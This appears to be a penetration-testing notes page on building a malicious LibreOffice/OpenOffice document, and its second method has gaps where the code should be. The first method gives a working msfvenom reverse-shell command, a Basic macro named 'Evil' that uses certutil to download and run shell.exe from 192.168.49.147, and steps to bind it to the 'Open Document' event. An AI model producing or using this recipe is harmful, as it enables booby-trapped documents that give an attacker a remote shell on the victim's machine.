Open Office
1. Way
First, you need to install libreoffice.
$ sudo apt install libreofficeCreate an odt file.
Adding macro:
Tools -> Macros -> Organize Macros -> Basic -> Select the document -> New(Macro Name module)
Then edit the macro:
Select Macro Name -> Edit
We should create a executable for shell.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.147 LPORT=80 -f exe -o shell.exeAdd these contents to macro page.
Sub Evil
Shell("certutil.exe -urlcache -split -f http://192.168.49.147:8080/shell.exe C:\Windows\Temp\shell.exe && \Windows\Temp\shell.exe")
End SubFinally, we will make a creation of trigger to execute our macro.
Tools -> Customize -> Events -> Select "Open Document" -> Click: “Assign: Macro” -> Select the document's macro which name is Evil.
2. Way
First, you need to install libreoffice.
Create an odt file.
Adding macro:
Tools -> Macros -> Organize Macros -> Basic -> Select the document -> New(Macro Name module)
Then edit the macro:
Select Macro Name -> Edit
We will create an evil payload for shell.
VBA has a 255-character limit for literal strings, but this restriction does not apply to strings stored in variables.
vba.py:
Our goal is to transform this string workable, as follows. Finally, macro should be look like this.
Finally, we will make a creation of trigger to execute our macro.
Tools -> Customize -> Events -> Select "Open Document" -> Click: “Assign: Macro” -> Select the document's macro which name is Evil.
Last updated